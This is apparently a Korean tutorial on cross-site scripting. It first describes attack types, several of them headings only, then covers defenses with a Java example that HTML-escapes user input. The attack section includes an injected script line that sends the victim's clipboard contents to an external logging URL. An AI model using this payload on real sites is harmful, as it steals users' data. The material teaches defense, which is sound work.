# **크로스 사이트 스크립팅 공격**

## 개요

XSS 공격은 주로 사용자의 인증정보를 가로채 공격자가 인증을 우회하기 위한 목적으로 활용되며 주로 “document.cookie”를 출력하는 테스트 구문으로 취약점 여부를 테스트한다. 이 때문에 “document.cookie”를 통한 인증정보 노출 방지를 목표로 하여 XSS을 활용한 다양한 공격 방식을 대비하지 못하는 두는 경우가 있다. 이에 XSS를 활용한 다른 유형의 공격을 알아보고자 한다.

## 공격

스크립트 구문 삽입을 이용해서 다른 사용자에게 피해를 입힐 수 있는 다양한 방법을 알아본다.

### 입력 값 탈취

키보드 입력 값을 가로채 기록하는 행위를 키로깅(Keylogging)이라 한다. 다음은 짧은 스크립트 코드를 삽입하여 사용자의 입력 값을 가로채는 공격의 예시이다.

### 클립보드 값 탈취

키로깅 공격과 유사하지만 클립보드에 존재하는 값을 가로챈다는 차이점이 있다. 다음은 클립보드 값을 가로채는 공격의 예시이다.

#### 클립보드 복사 페이지

|  |  |
| --- | --- |
| <!DOCTYPE html>    <head>  <meta http-equiv="Content-Type" content="text/html; charset=euc-kr" />  <title>중요테이터를 복사하세요</title>  <script src="https://cdn.jsdelivr.net/clipboard.js/1.5.3/clipboard.min.js"></script>  <script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>  </head>  <script>  window.onload = function(){  $(document).ready(function(){  var clipboard = new Clipboard('.clipboard');  });  };  </script>    일련번호 : <input type = "text" id = "copy" value="8282">  <button class="clipboard" data-clipboard-target="#copy"> 복사 </button> | |
| **실행결과** |  |

위와 같이 데이터를 클립보드에 저장하는 기능을 제공하는 사이트가 있다면, 사이트 이용 시 사용자와 관련된 정보가 클립보드에 저장되어 있을 가능성이 높다.

|  |  |
| --- | --- |
| <script>  new Image().src = 'http://springs-thursday.iptime.org/st-apps/logging/loggin.php?c=' + window.clipboardData.getData('Text');  </script> | |
|  |  |

### 피싱 사이트로 이동

미리 구성한 피싱 사이트로 사용자를 이동시켜 사용자의 아이디, 패스워드를 가로채는 공격의 예시이다.

### HTML 태그를 이용한 스크립트 실행

### DDoS 공격

## 결론

XSS 취약점은 사용자의 입력 값을 제대로 검증하지 않아 삽입된 스크립트 구문이 동작하는 것이 근본적인 원인이다. 특정 구문 기반 확인 방식은 취약점을 해결할 수 없다. 스크립트 구문이나 HTML 태그의 입력과 동작을 막는 것에 목표를 두고 지속적인 보안이 필요하다.

# **크로스 사이트 스크립팅 대응방안**

## 개요

웹 페이지에 악의적인 스크립트를 포함시켜 불특정 다수의 사용자들에게서 동작 시키는 공격인 크로스 사이트 스크립팅은 비교적 쉬운 테스트 코드로 인하여 쉽게 대응할 수 있을 것이라 생각할 수 있지만 상당한 복잡성을 가지고 있다. 이에 네이버의 XSS 필터를 참고하여 상세한 대응방안을 자세히 알아보고자 한다.

## 보안대책

외부입력 값에 삽입된 스크립트 구문 작성 시 사용되는 특수문자를 HTML 인코딩 문자로 치환하여 스크립트 구문의 동작을 막는다.

### 별도의 제약사항 없이 모든 태그 무력화

#### 코드 예제

|  |  |
| --- | --- |
| package webfilter;  import java.util.Scanner;  import java.util.regex.Pattern;  import java.util.regex.Matcher;  import org.apache.commons.lang3.\*;  public class main {    public static void main(String[] args) {  String message;  String escapeMessage;  String unescapeMessage;  Scanner scan = new Scanner(System.in);    while(true){  System.out.println("input message : ");  message = scan.nextLine(); // 테스트 값 입력    System.out.println("Original : " + message);  **escapeMessage = escape(message);**  System.out.println("Escape : " + escapeMessage);  **unescapeMessage = unescape(escapeMessage);**  System.out.println("Unescape : " + unescapeMessage + "\n");  }  }    public static String **escape**(String value) {  Pattern escapePattern = Pattern.compile("'");    if (value == null) {  return null;  }  String trustValue = StringEscapeUtils.escapeHtml4(value); // &lt;, &gt;, &quot; 문자 치환    Matcher matcher = escapePattern.matcher(trustValue);  if (matcher.find()) {  return matcher.replaceAll("&#39"); // &#39 치환  }    return trustValue;  }  public static String **unescape**(String value) {  Pattern unescapePattern = Pattern.compile("&#39;");    if (value == null) {  return null;  }    String originalValue = StringEscapeUtils.unescapeHtml4(value); // <, >, " 치환    Matcher matcher = unescapePattern.matcher(originalValue);  if (matcher.find()) {  return matcher.replaceAll("'"); // 싱글쿼터로 치환  }  return originalValue;  }  } | |
| **실행 결과** |  |

제약사항이 없으므로 구현이 간단하다. 대상 문자열에 존재하는 스크립트 관련 특수문자 모두를 org.apache.commons.lang3.StringEscapeUtils 라이브러리를 사용하여 치환 및 복구한다.

#### 문제점

새롭게 추가되는 인자 각각에 반복적으로 필터 메소드를 적용해야 하는 번거로움이 있으며, 예외적으로 태그의 사용이 필요한 게시판과 같은 어플리케이션에 바로 적용할 수 없으므로 HTML이 아닌 단순 텍스트 인자에 적합하다.

### 비즈니스 로직에 전달되는 경우

사용자 입력 값이 뷰에 노출시킬 목적이 아닌 비즈니스 로직에 사용될 경우 치환으로 인한 원본 데이터 훼손의 우려가 있다.

### HTML 태그 사용이 필요한 경우

HTML 태그가 동작해야 하므로 White List 방식의 XSS 공격 구문 필터가 요구된다.

### 일괄적으로 필터를 적용하고자 하는 경우

Servlet으로 XSS 공격 구문을 필터 한다. 쉽게 적용할 수 있지만 입력 인자 모두에 적용되므로 의도치 않은 결과를 발생시킬 수 있으며, 필터가 불필요한 인자도 포함되므로 서비스 성능의 저하를 가져온다.